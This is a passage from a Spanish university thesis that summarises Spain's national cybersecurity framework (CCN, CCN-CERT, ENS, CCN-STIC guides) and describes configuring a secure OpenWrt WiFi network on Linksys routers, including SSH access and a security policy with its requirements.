Nacional de Inteligencia (CNI). De hecho, en la Ley 11/2002, de 6 de mayo [32], reguladora del CNI,
se encomienda a dicho centro el ejercicio de las funciones relativas a la seguridad de las tecnologias de
la informacion y de proteccion de la informacion clasificada, a la vez que se confiere a su Secretario de
Estado la responsabilidad de dirigir el Centro Criptoldgico Nacional. Por ello, el CCN comparte con el
CNI medios, procedimientos, normativa y recursos [3].

El CCN cuenta con un 6rgano, el CCN-CERT, que le dota de capacidad de respuesta a incidentes
en el ambito de la ciberseguridad. CERT es un término que proviene del inglés Computer Emergency
Response Team, y define a un equipo de personas dedicado a la implantacion y gestion de medidas
preventivas, reactivas y de gestion de seguridad con el objetivo de mitigar el riesgo a los ataques
contra las redes y sistemas de la comunidad a la que se proporciona el servicio [33].

En el caso particular del CCN-CERT se fija su actividad en los sistemas de las distintas
administraciones (general, autonémica y local) para, posteriormente, ampliar esta responsabilidad a los
ciberataques sobre sistemas de empresas pertenecientes a sectores de interés estratégico para la
seguridad nacional y para el conjunto de la economia del pais.

Su mision, por tanto, es contribuir a la mejora de la ciberseguridad espafiola, siendo el centro de
alerta y respuesta nacional, cooperar y ayudar a responder de forma répida y eficiente a los
ciberataques y afrontar de forma activa las ciberamenazas, incluyendo la coordinacion a nivel publico
estatal de las distintas Capacidades de Respuesta a Incidentes o Centros de Operaciones de
Ciberseguridad existentes.

El CCN se rige por el Esquema Nacional de Seguridad. EI ENS tiene por objeto determinar la
politica de seguridad en la utilizacion de medios electrénicos en su dmbito de aplicacion y estara
constituido por los principios basicos y requisitos minimos que permitan una proteccién adecuada de la
informacion. La Ley 11/2007, de 22 de junio [34], de acceso electronico de los ciudadanos a los
Servicios Publicos establecié el ENS, que fue aprobado mediante Real Decreto 3/2010, de 8 de enero
[35]. En 2015 se publico la modificacion del Esquema Nacional de Seguridad a través del Real
Decreto 951/2015, de 23 de octubre [36], en respuesta a la evolucién de la normativa, en especial de la
Unidn Europea, de las tecnologias de la informacién y de la experiencia de la implantacion del ENS.

Los sistemas debieron adecuarse a lo dispuesto en la citada modificacion en un plazo de
veinticuatro meses.
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El ENS estipula lo siguiente en diversos articulos [37]:

e Articulo 11, la gestion continuada de la seguridad como un aspecto clave que ha de
acompariar a los servicios disponibles por medios electronicos.

e Articulo 15, la exigencia, de manera objetiva y no discriminatoria, de profesionales
cualificados a las organizaciones que presten servicios de seguridad a las Administraciones
Publicas.

e Articulo 18, la utilizacién, de forma proporcionada a la categoria del sistema y nivel de
seguridad determinados, de aquellos productos que tengan certificada la funcionalidad, de
seguridad relacionada con el objeto de su adquisicion.

e Articulo 24, el despliegue de procedimientos de gestion de incidentes de seguridad, y de
debilidades detectadas en los elementos del sistema de informacion.

e Atrticulo 27, la formalizacion de las medidas de seguridad en un documento denominado
“declaracion de aplicabilidad” y la posibilidad de reemplazar medidas de seguridad por
otras compensatorias cuando se justifique documentalmente.

e Articulo 29, la figura de las “Instrucciones técnicas de seguridad” que regularan aspectos
tales como el informe del estado de la seguridad, la auditoria de la seguridad, la
conformidad con el ENS, la notificacion de incidentes de seguridad, la adquisicion de
productos de seguridad, la criptologia empleada en el &ambito del ENS y los requisitos de
seguridad en entornos externalizados, entre otras.

e Articulo 34, sefiala que los sistemas de informacién a los que se refiere el real decreto seran
objeto de una auditoria regular ordinaria, al menos cada dos afios, que verifique el
cumplimiento de los requerimientos del presente Esquema Nacional de Seguridad.

e Articulo 36, la notificacibn al CCN de aquellos incidentes que tengan un impacto
significativo en la seguridad de la informacion manejada y de los servicios prestados.

Uno de los métodos que utiliza el CCN para cumplir sus cometidos y adecuarse al ENS es la
publicacion de una serie de documentos CCN-STIC (Servicio de las Tecnologias de la Informacion y
las Comunicaciones). Estos proporcionan un marco de referencia en esta materia para que sirva de
apoyo para el personal de las administraciones publicas que lleve a cabo la tarea de proporcionar
seguridad a los sistemas de las TIC bajo su responsabilidad.

Para este TFG se han empleado las siguientes guias CCN-STIC:

CCN-STIC-803 Valoracion de los sistemas [38]

CCN-STIC-804 Medidas de implantacion del ENS [39]
CCN-STIC-816 Seguridad en Redes Inalambricas en el ENS [40]
CCN-STIC-406 Seguridad en Redes Inaldmbricas [41]
CCN-STIC-803 Anexo I universidades [42]

Como se puede intuir por los titulos de estas guias, es la serie 800 la que regula lo relacionado con
el Esquema Nacional de Seguridad.

Ademas, el CCN-CERT emite una serie de informes ciberentorno actual, como, por ejemplo, el
informe CCN-CERT-IA 16-17 Ciberamenazas y Tendencias 2017. Se incluyen, entre la informacién
generada, recomendaciones y buenas practicas, como, por ejemplo, el CCN-CERT BP-05-16
Dispositivos loT.

También se ha tenido en cuenta en este TFG el RFC (Request for Comments) 4017 [43], del IETF
(Internet Engineering Task Force), referenciado en la guia CCN-STIC-816. EI RFC 4017 es un
documento que define los requerimientos para los métodos de autenticacion EAP usado en el estandar
IEEE 802.11. El material del documento ha sido aprobado por el IEEE 802.11.
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3 DESARROLLO DEL TFG

En este capitulo se expondra el proceso completo de instalacion y configuracion de una red
inaldmbrica WiFi siguiendo las directrices del ENS. Se partird de cuatro routers de uso domestico con
configuracion de serie y se establecera finalmente una red inaldmbrica capaz de dar cobertura a un area
equivalente al pasillo de despachos del Centro Universitario de la Defensa. Esta red presenta todas las
medidas de seguridad que una red de su clasificacion necesita segin el ENS. Todo ello se realizara
empleando software libre, desde el firmware de los routers hasta servidores de autenticacion.

3.1 Software y hardware empleados en este TFG

En esta parte, nos centraremos en el hardware y software empleado para los puntos de acceso, que
son la parte principal del TFG.

3.1.1 Hardware, AP

El router de banda ancha Wireless-G Linksys WRT54GL es el modelo utilizado para desplegar la
red inalambrica sobre la que implementaremos las medidas recogidas en la guia CCN-STIC-816. El
router cuenta con su propio sistema operativo para su configuracion, proporcionandonos una interfaz
grafica. Pero, ademas, nos permite la instalacion de un entorno Linux que nos proporciona una mayor
libertad a la hora de configurarlo, ya sea mediante interfaz grafica o mediante la terminal.

El router nos presenta informacion sobre su estado mediante una serie de LEDs situados en la cara
frontal del mismo (ver Figura 3-1):

1. Power: nos proporciona informacion sobre si el router esta conectado a la red eléctrica.
Puede proporcionarnos informacion adicional en caso de mal funcionamiento del router.

2. DMZ (DeMilitarized Zone): indica que esta habilitada la opcion DMZ en la que hay algun

equipo que se encuentra fuera de la zona de seguridad, por la propia configuracion del

router. También nos permite saber cuando debemaos resetear el router para acceder al modo

Failsafe.

WLAN: nos indica si esté activa la red de area local inalambrica.

Ethernet: son cuatro LEDs que nos indican qué conexiones Ethernet se encuentran en

funcionamiento, es decir, cuantos cables estan conectados a la parte trasera del router (ver

Figura 3-2).

5. Internet: situado en el extremo derecha nos indica si esta conectado el cable que
proporciona el acceso a Internet.

Hw
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Figura 3-1 Router Linksys WRT54GL

Figura 3-2 Router Linksys WRT54GL parte trasera (tomado de [44])
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Respecto a las especificaciones técnicas, destacamos las mostradas en la Tabla 3-1 [45]:

Banda de Frecuencia 2.4 GHz

Algoritmos de

o 128-bit WEP, 64-bit WEP, WPA, WPA2
encriptacion

Fabricante Cisco

Protocolos de enlace

Ethernet, Fast Ethernet, IEEE 802.11b, IEEE 802.11g
de datos

Soporte DHCP, puerto DMZ, filtro de direcciones MAC, SPI (Stateful Packet
Caracteristicas Inspector), soporte de WiFi Multimedia, asignacion de IP dinamicas,
proteccion firewall, actualizacion de firmware

, IEEE 802.11b, IEEE 802.11g, IEEE 802.3, IEEE 802.3u, UPnP, WiFi-
Estandares

Certified

Velocidad de
transferencia de datos 54 Mbps
Memoria 13388 kB

Tabla 3-1 Especificaciones técnicas estdndar (tomado de [45])

De las caracteristicas anteriormente nombradas destacamos la memoria del router. Esta ha
supuesto una limitacién considerable a la hora de desarrollar este TFG y condiciond ciertas decisiones
como la instalacion de FreeRADIUS o cargar las librerias que permiten el acceso via web seguro
mediante HTTPS.

3.1.2 Software, AP

El propio router trae un CD de instalacion que nos permite hacer una configuracion del router con
ayuda del asistente. Sin embargo, trabajaremos con un software libre basado en Linux, empleando
OpenWrt frente a Tomato y DD-WRT.

Se decide emplear OpenWrt porque es soportado por una gran variedad de routers, y permite un
gran abanico de personalizacion gracias a un elevado nimero de utilidades y extensiones. El desarrollo
de interfaces gréficas para su configuracién mitigd su principal desventaja, que era la complejidad en
la configuracion.

OpenWrt es un software basado en Linux con el objetivo de crear un firmware 100%
personalizable por parte de sus usuarios, proporcionando un completo sistema de archivos con un
gestor de paquetes. Para los desarrolladores, OpenWrt es el marco en el que construir una aplicacién
sin tener que construir un firmware completo para esa aplicacion.

La version més actualizada es Chaos Calmer 15.05-r,c3 publicada en 2015, que afiade una serie de
mejoras respecto a versiones anteriores que no son objeto de este trabajo. En los routers empleados en
este trabajo se ha utilizado la version Backfire 10.03.1, la version mas moderna compatible con nuestro
router.

OpenWrt nos permite configurar el router por medio de una interfaz grafica via web para facilitar
la configuracion al usuario. Existen varias interfaces, para este trabajo hemos utilizado LuCi. También
tenemos la opcion de configurar el router mediante comandos empleando la terminal. Debido a que
estd basado en Linux, los comandos son los mismos que en plataformas mas conocidas como Ubuntu.
El empleo de la terminal presenta ciertas ventajas al usuario ya que, aunque la presentacion es menos
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clara, es més rapido y consume menos recursos de la memoria del router. OpenWrt permite el acceso a
la interfaz gréafica mediante HTTP, y HTTPS en routers con capacidad para almacenar las librerias
HTTPS. El router empleado no tiene la capacidad de memoria necesaria para soportar HTTPS.

Routerl | OpenWrt Backfire 10.03.1 | Load: 0.22 0.10 0.03 | Auto Refresh: on
status | System [| Network Logout

Overview Firewall Routes Systemlog KernelLog Processes Realtime Graphs

Status

System
Router Name Router1
Router Model Linksys WRT54G/GS/GL
Firmware Version OpenWrt Backfire 10.03.1 / LuCI 0.10.0 Release (0.10.0)
Kernel Version 2.6.32.27
Local Time Thu Jan 18 17:24:16 2018
Uptime 0Oh 41m 43s

Load Average 0.21, 0.11, 0.03

Memory

Total Available 5160 kB / 13388 kB (38%)
Free 996 kB / 13388 kB (7%)
Cached 3048 kB / 13388 kB (22%)

Buffered 1116 kB / 13386 kB (8%)

Network

1Pv4 WAN Status Type: dixp
Address: 192.165.47.250
Netmask: 255.255.240.0
. Gateway: 192.168.32.1
= DNS1:213.60.205.175
001 pNs 2: 213.60.205.174
DNS 3:8.8.8.8
Expires: 23h 18m S6s
Connected: 0h 41m 35

Active Connections 197 / 16384 (1%)

DHCP Leases

Hostname 1Pv4-Address MAC-Address Leasetime remaining
android-3cff795501b45dce 192.168.1.211 b4:9d:0b:5f:65:3¢ 11h 24m 14s
MsI 192.168.1.126 4cice:6a: 7f:58:1 11h 20m 12s

Wireless

Generic 802.11bg Wireless Controller (radic0)

Figura 3-3 Interfaz grafica LuCi

En la Figura 3-3 podemos ver como se presenta la informacién con la interfaz grafica para la
configuracion del router. Las modificaciones que realizamos en esta pagina se pueden hacer mediante
la terminal con un editor de texto modificando los distintos archivos de configuracion. Este modo de
proceder presenta la desventaja de que cualquier error de sintaxis puede provocar errores en el router.

En nuestro caso particular, al tener que realizar una configuracion segura siguiendo la guia CCN-
STIC-816, y no poder acceder a la web de configuracion via HTTPS, accederemos a los routers
empleando el software PuTTY. Este nos permite acceder a los routers utilizando dos métodos distintos,
la terminal y un tanel SSH para acceder a la web. A continuacion, se explicard cdmo es el acceso a los
routers mediante PUTTY.

En la Figura 3-4 se muestra la ventana principal de PUTTY tras haber configurado el acceso a los
cuatro routers y haber creado un tinel SSH (OpenWrt Luci Tunnel) para conectar a la web LuCl de
forma segura. El Gltimo de los métodos de acceso no se emplearad debido a que necesitamos desactivar
el acceso HTTP, no seguro, a la interfaz grafica. Desactivar la interfaz web hace inservible el tanel

SSH.
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;‘?‘PuTTY Configuration ?
Category:
Session Basic options for your PuTTY session
Logging - -
Terminal Specify the destination you want to connect to
Keyboard Host Name (or IP address) Port
Bell 192.168.1.5 1537
Features - .
Window onnection type:
Appearance ORaw  OTemet ORiogin @ssH O Serial
Behaviour .
Translation Load, save or delete a stored session
Selection Saved Sessions
Colours Router4
Connection
Data Default Settings Load
Proxy OpenWrt Luci Tunnel
Router1
Telnet Router2 Save
Riogin Router3
8SH Router4 Delste
Serial
Close window on exit:
O Always O Never @ Only on clean exit
About Help Open Cancel

Figura 3-4 Ventana principal PUTTY

Seguidamente, se explicara cdmo se debe configurar PUTTY para acceder a los routers. En la
Figura 3-5 se muestra cdmo se accederia al Router 1.

e Host Name (or IP address), introducimos la direccion IP del Router 1 (192.168.1.2) o el
nombre del router (Routerl).

e Port, indica el puerto por el que nos conectaremos al router, 1537. No se emplea el puerto
tradicional 22 ya que se cambi0 en el router el puerto de acceso mediante SSH.

e Connection type, de las cinco opciones que se presentan se han empleado dos para acceder
a los routers SSH y Telnet. Telnet se emplea la primera vez que se accede al router, cuando
aun no se establecido una contrasefia de acceso. SSH se emplea a partir del establecimiento
de una contrasefia.

Para evitar tener que introducir continuamente los datos para acceder a los routers, podemos
guardarlos en la aplicacion. Para ello introduciremos un nombre en Saved Sessions y haremos click en
Save.

é\,@ PuTTY Configuration ? X
Category:
Session Basic options for your PuTTY session
Logging - =
Terminal Specify the destination you want to connect to
Keyboard Host Name (or IP address) Port
Bell 192.168.1.2 1537
Features e >
Window onnection type:
Appearance ORaw  OTelnet ORIlogin @ssH O Serial
Behaviour }
Transiation Load, save or delete a stored session
Selection Saved Sessions
Colours
Connection
Data Default Settings Load
Proxy OpenWrt Luci Tunnel
Router1
Telnet Save
Riogi Router2
ogn Router3 Delet
HSSH Routerd elee
Serial
Close window on exit:
O Always O Never (® Only on clean exit
About Help Open Cancel

Figura 3-5 Acceso a Router 1 via PUTTY
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Una vez guardados los routers para acceder a ellos, los seleccionamos en la lista y hacemos click
en Open. De esta forma entraremos en la terminal de OpenWrt. Primero nos pedira usuario (root) y
contrasefa (ver Figura 3-6).

& 192.168.1.2 - PuTTY - m| X

login as: root
root@192.168.1.2's password: I

Figura 3-6 Autenticacion para acceder a Routerl

Una vez introducidos usuario y contrasefia, pulsaremos Enter y aparecera la ventana inicial del
OpenWrt y la opcidn de introducir comandos (root@Routerl: ~#) como se muestra en la Figura 3-7.

#2192.168.1.2 - PuTTY - m| X

s password:

v1l.15.3 (2011-11-24 04:30:44 ouilt—-in shell (ash)
'help' for a list of built-in s

Backfire .0z 959
* 1/3 shot Kahlua n a sho layer Kahlua
then Bailey's,

Figura 3-7 Ventana principal de la terminal OpenWrt

Como ya se ha mencionado, ademas del acceso a la terminal de los routers para su configuracion,
podemos emplear PUTTY para acceder a la web de forma segura creando un tnel SSH. Con la
siguiente configuracion se conducira el trafico desde el puerto 8000 de la direccién 127.0.0.1 de la
méaquina local al puerto 80 del router que tiene una direccién local 127.0.0.1. A continuacién se
muestra el proceso de configuracion [46].

1. Navegar hasta Connections -> SSH -> Tunnels (Figura 3-8).
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%PUTTY Configuration ? X

Category:
Bell
Features

~'Window
Appearance
Behaviour
Translation
Selection
Colours

Connection
Data
Proxy
Telnet
Rlogin
SSH
Kex
Host keys
Cipher
t Auth
STTY
X11
Bugs
More bugs
Serial

About

v

Help

Options controlling SSH port forwarding

Port forwarding
l:l Local ports accept connections from other hosts
[I Remote ports do the same (SSH-2 only)

Forwarded ports: Remove

Add new forwarded port:
Source port Add

Destination

@ Local
@ Auto

O Dynamic

O IPve

O Remote

O IPva

Cancel

Figura 3-8 Configuracion tanel SSH, paso 1

2. Afadir 8000 en el campo Source port 'y 127.0.0.1:80 en Destination field (Figura 3-9).

Category:
Bell
Features
-~ Window
Appearance
Behaviour
Translation
Selection
Colours
- Connection
Data
Proxy
Telnet
Rlogin
- SSH
Kex
Host keys
Cipher
t/Auth
VY
X11
Tunnels
Bugs
More bugs
Serial

About

j}ﬁ% PuTTY Configuration

v

Help

? X

Options controlling SSH port forwarding

Port forwarding
I:] Local ports accept connections from other hosts
\:I Remote ports do the same (SSH-2 only)

Forwarded ports: Remove

Add new forwarded port:
Source port 8000 Add

Destination

@ Local
@® Auto

]127.0.0‘1 :80|
O Remote

O Ipva

O Dynamic

O Ipve

Cancel

Figura 3-9 Configuracion tanel SSH, paso 2

3. Hacemos click en Add y veremos cémo aparece en la seccién Forwarded ports L8000
127.0.0.1:80 (Figura 3-10).
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% PUTTY Configuration

Category:

Bell A
Features
~/Window
Appearance
Behaviour
Translation
Selection
Colours
~IConnection
Data
Proxy
Telnet
Rlogin
-ISSH

Kex

Host keys

Cipher
+/Auth

TIY

X11

Tunnels

Bugs

More bugs
Serial

v

About Help

Options controlling SSH port forwarding
Port forwarding

|:| Local ports accept connections from other hosts
|:| Remote ports do the same (SSH-2 only)

Forwarded ports: Remove

L8000 127.0.0.1:80

Add new forwarded port:

8000 } [ ~ Add

Source port

Destination ‘127.0.0.1:80

(® Local

@ Auto

(O Remote

OIpva

(O Dynamic

O 1Ipve

Open Cancel

Figura 3-10 Configuracidn tinel SSH, paso 3

4. Navegaremos hasta Session. Afadiremos root@Routerl en Host Name y 1537 en Port

(Figura 3-11).

_B% PuUTTY Configuration ?
Category:
% A Basic options for your PuTTY session
Logging i .
STerminal Specify the destination you want to connect to
Keyboard Host Name (or IP address) Port
Bell ‘root@RouteH ‘ ‘1537
Features -
—\Window Connection type:
Appearance ORaw  OTelnet ORIogin @ssH O Serial
Translation Load, save or delete a stored session
Selection Saved Sessions
Colours ‘ ‘
-IConnection
Data Eefatult18ettings Load
Proxy outer
Telnet Rautar2 Save
Riodi Router3
1 odin Router4
—-ISSH Delete
Kex
Host keys
Cipher
TAuth Close window on exit:
TTY O Always O Never @ Only on clean exit
X11
Tunnels v
About Help Cancel

Figura 3-11 Configuracion tunel SSH, paso 4

5. Afadimos OpenWrt Luci Tunnel en el campo Saved Sessions y hacemos click en Save.
6. Iniciaremos sesion seleccionando OpenWrt Luci Tunnel y pulsando Open.
7. Enlaterminal introduciremos el usuario y contrasefa del router.
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8. Manteniendo abierta la terminal, usando nuestro navegador web con la direccion
127.0.0.1:8000 accederemos a la interfaz grafica (Figura 3-12).

<)» C o ® 127.0.0.1:8000/cgi-bin/luci - Q% IND < ;p =

Routerl | OpenWrt Backfire 10.03.1 | Load: 0.11 0.05 0.01

Authorization Required

Please enter your username and password.

Username

Password

@DReset [[Login

Figura 3-12 Acceso a LuCl con tanel activado

Mas adelante, en el capitulo de validacion de la red, se vera como esta medida nos permite acceder
a la web sin filtraciones de seguridad.

OpenWrt tiene un gestor de paquetes, como se dijo anteriormente, que nos permite descargar
aplicaciones para aumentar o complementar las capacidades de nuestro router, como pueden ser las
librerias para HTTPS, la posibilidad de afiadir un Servidor de Autenticacion como FreeRADIUS o
simplemente activar la opcion UPnP (Universal Plug and Play). Estos paquetes enriquecen el
firmware OpenWrt y empleando el firmware original del fabricante no podriamos utilizarlos.

Parte de estos paquetes estan orientados a la implementacion de seguridad en nuestros routers y en
nuestras redes, faceta sobre la que cada vez se tiene una mayor concienciacion.

3.2 Proposito de la red inaldmbrica planteada y establecimiento del nivel de
seguridad

En este apartado se analiza qué tipo de red inalambrica se simula (una red WiFi para su empleo en
el Centro Universitario de la Defensa) y el nivel de seguridad en el que se categoriza la red segun el
ENS.

Para la configuracion de la red tendremos en cuenta que, aunque la red no llegue a instalarse de
forma funcional, se trataria de una red WiFi de uso en el Centro Universitario de la Defensa. La
configuracion se realizara en base al Esquema Nacional de Seguridad, adoptando las medidas que se
determinan para una red de categoria MEDIA. En los siguientes parrafos se expondran y desarrollaran
los motivos por los que se valora la red en esta categoria.

Para determinar la categoria de una red inalambrica como sistema de informacion dentro del ENS,
habrd que considerar la criticidad de los recursos y servicios de la organizacion con los que se
establece la comunicacion a traves de ella, y la criticidad de la informacion que fluye a través de sus
conexiones.

Esta criticidad se basa en la medicion de una serie de criterios, aplicable a cada una de las
propiedades de seguridad citadas anteriormente en el apartado 2.4: integridad [1], confidencialidad [C],
autenticidad [A], trazabilidad [T] y disponibilidad [D].

Es la valoracion de las consecuencias de un impacto negativo sobre la seguridad que afecte a las
dimensiones de seguridad de estos servicios, recursos e informacion lo que determinara la categoria de
la red inaldmbrica, pudiendo ser de categoria BASICA, MEDIA o ALTA.
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Se estudiaran las propiedades de seguridad de forma independiente y atendiendo a los criterios de
valoracion de la Guia CCN-STIC-803, valoracion de los sistemas [38], y se particularizara el estudio
en el ambiente universitario, basandose en el Anexo | de dicha guia, que se refiere a redes inaldmbricas
de area local en el &mbito universitario [42]. Cada propiedad se clasificara en BAJA, MEDIA o ALTA
y la clasificacion global del sistema ser& la més alta presente entre las cinco propiedades. Se muestra
en la Tabla 3-2 la categorizacion de las distintas caracteristicas de seguridad para una seleccion de
tipos de informacion y servicios que la red del CUD maneja.

I C A T D

Informacion - Expedientes administrativos BAJA  BAJA BAJA BAJA BAJA
Informacion - Expedientes académicos ~ MEDIA MEDIA MEDIA MEDIA MEDIA
Servicio - Plataforma de Docencia Virtual - - - - BAJA

Clasificacion sistema global MEDIA

Tabla 3-2 Tabla resumen de la clasificacién del nivel de seguridad

En el caso de los expedientes administrativos y académicos la valoracion de los distintos criterios
coincide con lo que marca el Anexo | de la guia CCN-STIC-803. Sin embargo, en el del servicio de
Docencia Virtual, se difiere con lo que refleja la guia, ya que ésta le da una clasificacion en
disponibilidad MEDIA. En el caso del CUD se determina que la criticidad es BAJA debido a que las
clases de los alumnos son presenciales, por tanto, la pérdida de la plataforma en un momento puntual
no es tan grave como si las clases se impartieran a través de ese medio.

La categorizacion del sistema da lugar a una serie de medidas que se deben aplicar para alcanzar el
nivel de seguridad definido.

La primera medida a tomar, segun la guia CCN-STIC-816 [14] es la de crear una Politica de
seguridad de la red inalambrica, que junto a las decisiones que tome la organizacion para forzar su
cumplimiento, sera la base para todas las medidas de seguridad. Se tendrd en cuenta que en este
proyecto se simula una red de trabajo en el entorno del CUD, asi que, la normativa se orientara a esa
aplicacion.

Los siguientes apartados representarian la politica de seguridad de la red inaldmbrica, sin
embargo, en nuestro caso, en lugar de ser un documento de requerimientos, también incluye como se
instauraran en nuestra red.

3.2.1 Uso aceptable de la red inalambrica

Se considerara la red como una red de trabajo, por lo que cada usuario sera responsable del uso
que dé a dicha red. El uso aceptable incluye el uso de recursos compartidos del propio Centro
Universitario de la Defensa, asi como el acceso a paginas web de entorno académico y de
investigacion. En caso del incumplimiento de las directrices anteriores se puede llegar a retirar el
acceso a la red inaldmbrica durante un periodo a determinar por el administrador acorde con la
infraccion cometida.

Cada usuario que quiera acceder a la red debera ser dado de alta previamente, indicando cuantos
dispositivos quiere utilizar y proporcionando la direccion MAC de cada dispositivo. Una vez
registrados los dispositivos, se le asignara un nombre de usuario y contrasefia para el acceso a la red.
Los dispositivos clientes deben disponer de soporte del protocolo IEEE 802.1x/EAP para poder
acceder a la red en las condiciones de seguridad establecidas.

Se recomienda a la organizacion la distribucion de equipos corporativos debidamente configurados
para el uso seguro de la red.
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3.2.2 Requisitos de seguridad de la infraestructura inaldmbrica

Para establecer una red inalambrica que sigue los requisitos del ENS se tomaron diversas medidas
a distintos niveles.

REQUISITO 1: ARQUITECTURA DE SEGURIDAD
Para la cual se tienen en cuenta dos parametros.

e Cobertura de los puntos de acceso, limitando la radiacion de estos fuera del perimetro
controlado por la organizacion. En nuestro caso se limita al Hall y al ala Este del cuartel de
alumnos Marqués de la Victoria (a partir de ahora, MdV). En la Figura 3-13 se muestra la
zona que se cubre. Para ello combinamos la ubicacion fisica de los routers con la direccion
y potencia de radiaciéon, lo que nos da la cobertura final de la red inalambrica.

e La red inalambrica se constituyé en modo infraestructura, lo que nos permite configurar y
estandarizar la seguridad a desplegar en los AP. Se tomd esta opcion frente a la
distribucion ad-hoc, que presenta una configuracién mas dificil de controlar y con una
mayor vulnerabilidad a los ataques.

|

" R T EEEE il
[T, VE N Y TR

Figura 3-13 Zona de cobertura MdV

REQUISITO 2: METODO DE AUTENTICACION

En este apartado se decide qué tipo y mecanismo de autenticacion se va a usar, asi como el método
EAP. Todas estas decisiones se basan en que la red objeto tiene una clasificacion de seguridad
MEDIA.

e Tipo de autenticacion: se empleara el basado en el estdndar 802.1x/EAP, que nos permite
un proceso explicito de autenticacion mutua, en el que cada cliente dispondra de sus
propias credenciales de acceso, proporcionando trazabilidad. Es un método méas seguro que
el empleo de una clave precompartida. Este método es utilizado por WPA y WPAZ2 en su
version Enterprise.

e Mecanismo de autenticacion: debemos emplear la autenticacion de doble factor, que en
nuestro caso seran contrasefias y usuarios concertados. Estas contrasefias tendran un nivel
de seguridad que cumplird los siguientes requisitos: longitud minima de 16 caracteres,
empleo de mayusculas y mindsculas, al menos un ndmero y un signo ortogréfico. Las
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contrasefias seran expedidas por el administrador, deberdan renovarse de forma
cuatrimestral, intentando hacerlo coincidir con cambios de cuatrimestre academicos.

e Método EAP: la guia determina que los unicos métodos que soportan los requisitos
obligatorios para redes inalambricas indicados en la RFC 4017 son los EAP basados en
TLS. En nuestra configuracion emplearemos PEAP (Protected Extensible Authentication
Protocol).

REQUISITO 3: ACCESO AL ROUTER

El acceso local para los administradores de los puntos de acceso se realizard por medio de SSH
debido a la clasificacion MEDIA de la red y a que los routers empleados no soportan las librerias para
SSL/TLS (que permitirian el acceso por HTTPS) debido a las limitaciones de memoria que presentan.
Como medida adicional, se deshabilitard cualquier otro protocolo de gestion inseguro que, en nuestro
caso, es la interfaz grafica web, solo accesible por HTTP.

Solo los administradores tendran acceso a la administracién del AP. Los accesos, asi como las
actividades realizadas durante los mismos, deben quedar registrados.

Otra medida que se debe tomar es cambiar el puerto de acceso mediante SSH al router, no dejar el
puerto 22 que viene por defecto.

REQUISITO 4: DISPOSITIVOS CLIENTE

Respecto a los dispositivos cliente, atenderdn a las consideraciones mencionadas en parrafos
anteriores teniendo en cuenta, ademas, que:

e debe evitarse que los dispositivos establezcan conexiones duales ya que puede suponer una
vulnerabilidad para la red inalambrica (un software malicioso podria acceder por la otra
conexion al dispositivo cliente).

e Se recomienda ademas que, en los equipos no corporativos, se empleen cortafuegos
personales, ya que ayudan a evitar que otros usuarios de la misma red consigan acceso no
autorizado al dispositivo.

e Se debe desactivar la conexién de red de forma automatica para evitar conexiones a puntos
de acceso falsos (Rogue AP).

e Esnecesario el empleo del método EAP empleado por la arquitectura de autenticacion.

REQUISITO 5: MINIMA FUNCIONALIDAD

Cambiando de ambito y atendiendo al principio de minima funcionalidad, deberan deshabilitarse
todos los servicios y funciones del AP que no sean estrictamente necesarios. También debemos
minimizar la superficie de exposicidn de la red para asegurar una mayor seguridad. Con respecto a las
interfaces de gestion no seguras de las que pueda disponer el AP, es especialmente importante que
sean deshabilitadas como se dijo anteriormente.

Dado que empleamos CCMP, se han deshabilitado las funciones de seguridad que no deben usarse
(WEP y TKIP) para prevenir su uso.

REQUISITO 6: MODIFICACION PARAMETROS POR DEFECTO

Los parametros por defecto de los routers deberan ser modificados, asignandose el valor apropiado
en campos como direccion IP de acceso al router, usuario y contrasefia de administracion. Se
establecera un SSID a la red WiFi que no aporte informacion de la organizacion (por ejemplo, Red
TFG). Se deben revisar las configuraciones de los AP después de cierto tipo de reinicios, porque se
puede establecer de nuevo la configuracion por defecto.
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REQUISITO 7: OCULTAR SSID

De forma disuasoria, podemos ocultar la emision del SSID por parte del AP para que solo se
puedan conectar a la red inalambrica si el SSID ha sido especificado explicitamente. Aln asi podria ser
detectada con escaneres de red como, por ejemplo, Kismet.

REQUISITO 8: FILTRADO MAC

Se creara una lista de direcciones MAC, de forma que solo los dispositivos cuya direccion MAC
se encuentre en la lista autorizada pueda acceder a la red inalambrica. Esta medida no evita que un
potencial atacante pueda suplantar una de las direcciones MAC autorizadas (MAC Spoofing).

REQUISITO 9: HORARIO OPERATIVO

Se establecera un horario operativo en el que los AP estaran encendidos, para evitar que en horario
no laborable puedan ser atacados. En nuestro caso particular deberia evaluarse esta opcion en detalle.
Debido a la idiosincrasia del CUD, y la flexibilidad de horario del profesorado, el apagar los routers a
una hora determinada y dejar sin servicio a algin profesor puede ser méas perjudicial que el riesgo de
un ataque fuera de horario.

Se limita el tiempo de sesion a seis horas, considerando ésta la duracion méxima del periodo de la
mafiana, que sera el periodo de conexion ininterrumpido mas prolongado. Sobrepasado el tiempo
maximo de sesion, la asociacion seré disuelta por el AP y el cliente debera reautenticarse.

REQUISITO 10: SERVIDOR DE AUTENTICACION

Debido a este nivel MEDIO es necesario el empleo de un servidor de autenticacién. En nuestro
caso utilizamos un ordenador portatil multiproposito. En caso de ser un servidor de autenticacion real y
dedicado, deberia estar adecuadamente bastionado y protegido.

REQUISITO 11: REGISTRO DE ACTIVIDAD

En lo que respecta a la actividad de los usuarios en la red inalambrica, en especial a la de los
administradores, debera ser registrada para posibles analisis posteriores. Como minimo se requiere de
un registro detallado de los intentos de conexion exitosos y fallidos. Este registro permite la
trazabilidad de acciones y proporciona informacidon que podra ser revisada en caso de actividades
maliciosas. Esta funcion estara habilitada en los AP y en el servidor de autenticacion.

En nuestro caso, se realizaran revisiones de los registros de actividad con objeto de identificar
problemas de seguridad y tomar las acciones correctivas cuanto antes en auditorias de seguridad. La
periodicidad de estas revisiones quedara a criterio del administrador.

REQUISITO 12: ROUTER MASTER

Para la creacion de la infraestructura se estableceran tres AP, de los cuales solo uno sera Master y
el resto seran esclavos. Sera el AP Master el que gestione toda la informacion que proviene de los
routers esclavos. La creacion de dicha infraestructura se detallard méas adelante en la memoria, siempre
teniendo presente que se trata de una simulacion de una red real.

REQUISITO 13: MONITORIZACION DE LA RED

La monitorizacion de seguridad se llevara a cabo de forma automatica a través de Sistemas de
Deteccion Inaldmbrica de Intrusos, WIDS (Wireless Intrusion Detection Systems). Nuestra red
empleara el software Kismet [47], cuyo servidor y cliente se establecera en el portatil multipropésito, y
en el cuarto router se instalard un dron que enviara la informacion detectada al servidor.

REQUISITO 14: ASEGURAR EQUIPOS loT

Aunque la guia no lo mencione, se debe tener en cuenta la vulnerabilidad de elementos conectados
